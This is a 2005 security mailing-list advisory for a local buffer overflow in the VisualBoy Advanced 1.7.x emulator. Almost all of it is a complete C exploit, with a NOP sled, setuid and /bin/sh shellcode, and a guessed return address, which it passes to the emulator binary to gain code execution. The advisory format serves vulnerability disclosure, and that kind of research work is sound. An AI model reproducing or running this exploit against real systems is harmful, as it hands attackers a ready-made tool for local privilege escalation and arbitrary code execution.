[EXPL] VisualBoy Advanced Local Buffer Overflow (Exploit)

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To: list@securiteam.com
Date: 14 Sep 2005 18:31:36 +0200

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  VisualBoy Advanced Local Buffer Overflow (Exploit)
------------------------------------------------------------------------

SUMMARY

 <http://vba.ngemu.com/> VisualBoy Advanced is "an emulator for Gameboy
and GameboyAdvance systems."

Lack of proper parameter filtering allows local attackers to execute
arbitrary code in VisualBoy Advanced.

DETAILS

Vulnerable Systems:
 *VisualBoy Advanced version 1.7.x

Exploit:
/*
VisualBoyAdvanced 1.7.x BufferOver Flow exploit
VBA - WEBSITE : vba.ngemu.com
Found & coded by Qnix - Qnix[at]bsdmail[dot]org
*/

#include <stdlib.h>

char shellcode[] =
       "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid() */
       "\xeb\x5a\x5e\x31\xc0\x88\x46\x07\x31\xc0\x31\xdb\xb0\x27\xcd"
       "\x80\x85\xc0\x78\x32\x31\xc0\x31\xdb\x66\xb8\x10\x01\xcd\x80"
       "\x85\xc0\x75\x0f\x31\xc0\x31\xdb\x50\x8d\x5e\x05\x53\x56\xb0"
       "\x3b\x50\xcd\x80\x31\xc0\x8d\x1e\x89\x5e\x08\x89\x46\x0c\x50"
       "\x8d\x4e\x08\x51\x56\xb0\x3b\x50\xcd\x80\x31\xc0\x8d\x1e\x89"
       "\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
       "\xcd\x80\xe8\xa1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

unsigned long sp(void)
{ __asm__("movl %esp, %eax");}

int main(int argc, char *argv[])
{
  int i, offset;
  long esp, ret, *addr_ptr;
  char *buffer, *ptr;

  offset = 0;
  esp = sp();
  ret = esp - offset;

if (argc >= 2) {
printf("\n ************************************************ \n");
printf(" VisualBoyAdvanced 1.7.x BufferOver Flow exploit \n");
printf(" by Qnix[at]bsdmail[dot]org ");
printf("\n ************************************************ \n\n");
printf("[~] Stack pointer (ESP) : 0x%x\n", esp);
printf("[~] Offset from ESP : 0x%x\n", offset);
printf("[~] Desired Return Addr : 0x%x\n\n", ret);
} else {
printf("\n ************************************************ \n");
printf(" VisualBoyAdvanced 1.7.x BufferOver Flow Exploit \n");
printf(" by Qnix[at]bsdmail[dot]org ");
printf("\n ************************************************ \n\n");
printf("useage : ./vba-exp <VisualBoyAdvanced File> \n\n");
}

buffer = malloc(2300);

ptr = buffer;
addr_ptr = (long *) ptr;
for(i=0; i < 2300; i+=4)
{ *(addr_ptr++) = ret; }

for(i=0; i < 1900; i++)
{ buffer[i] = '\x90'; }

ptr = buffer + 1900;
for(i=0; i < strlen(shellcode); i++)
{ *(ptr++) = shellcode[i]; }

buffer[2300-1] = 0;

execl(argv[1],"VisualBoyAdvance",buffer,0);

free(buffer);

  return 0;
}

/* EoF */

ADDITIONAL INFORMATION

The information has been provided by <mailto:qnix@bsdmail.org> Qnix.

========================================

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